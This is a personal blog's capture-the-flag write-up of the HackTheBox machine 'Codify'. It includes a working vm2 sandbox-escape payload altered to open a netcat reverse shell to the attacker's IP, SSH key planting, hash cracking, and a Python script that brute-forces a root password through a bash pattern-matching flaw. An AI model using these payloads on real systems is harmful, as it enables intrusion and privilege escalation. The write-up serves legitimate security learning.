cwoellner.com ~ personal website & blog

Writeup of Codify From HackTheBox

Published on: Wednesday, Dec 18, 2024

Getting a foothold

For the initial port scan, I use the following nmap command:

nmap -sS -Pn -p- -T5 -oN nmap.txt 10.129.227.190

And receive the following results:

Nmap scan report for 10.129.227.190
Host is up (0.037s latency).
Not shown: 64974 closed tcp ports (reset), 558 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

When checking the About Us page of the website, I noticed that vm2 is explicitly mentioned, so I start my search with this library and the linked version. I quickly find a sandbox escape with PoC on GitHub.

I modify the command part to grant me a reverse shell:

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('busybox nc 10.10.14.2 4242 -e sh');
}
`

console.log(vm.run(code));

I use this shell to create the .ssh directory for the svc user and add my public key to authorized_keys file. Now I can log in via ssh.

mkdir ~/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPMUR1PKsnoWhGXQ39TJUG4Uni7OeHrg8mNLwbPAPSFI chris@blackarch' > ~/.ssh/authorized_keys

User Flag

Once logged in I run linpeas and find the resources for another website under /var/www/contact. I dump the SQLite database and find a password hash.

sqlite3 tickets.db 
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT, 
        username TEXT UNIQUE, 
        password TEXT
    );
INSERT INTO users VALUES(3,'joshua','$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2');
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
INSERT INTO tickets VALUES(1,'Tom Hanks','Need networking modules','I think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!','open');
INSERT INTO tickets VALUES(2,'Joe Williams','Local setup?','I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.','open');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',3);
INSERT INTO sqlite_sequence VALUES('tickets',5);
COMMIT;

On my attacking machine is run hashcat to crack the hash and obtain the cleartext password.

hashcat -m 3200 pw.hash rockyou.txt
...
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1

Using the password I can now log in as joshua and obtain the user flag.

Root Flag

I try to run sudo -l and see that I am allowed to run /opt/scripts/mysql-backup.sh as root.

Without knowing the password the only part of the script I can interact with is :

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

I have control over the $DB_PASS variable which is used in the condition of the if statement. A double equal sign in a double bracket is no comparison but a pattern matching expression. By appending a * to my password guesses, I can check if the string starts with them. This allows me to bruteforce the password character by character. In order to do this I build the following python script:

import os
import string
command = "sudo /opt/scripts/mysql-backup.sh >/dev/null 2>&1"
def bruteForceNextChar(password):
	a = os.system("echo '"+password+"' | "+command)
	if (a == 0):
		print("Found Password: "+password)
		exit()
	for symbol in string.printable:
		a = os.system("echo '"+password+symbol+"* ' | "+command)
		if (a == 0):
			print(password+symbol)
			bruteForceNextChar(password+symbol)
bruteForceNextChar("")

All I have to do now is run the python script and I get the password.

python3 brute.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
Found Password: kljh12k3jhaskjh12kjh3

I now can use the password to log in as root and obtain the root flag.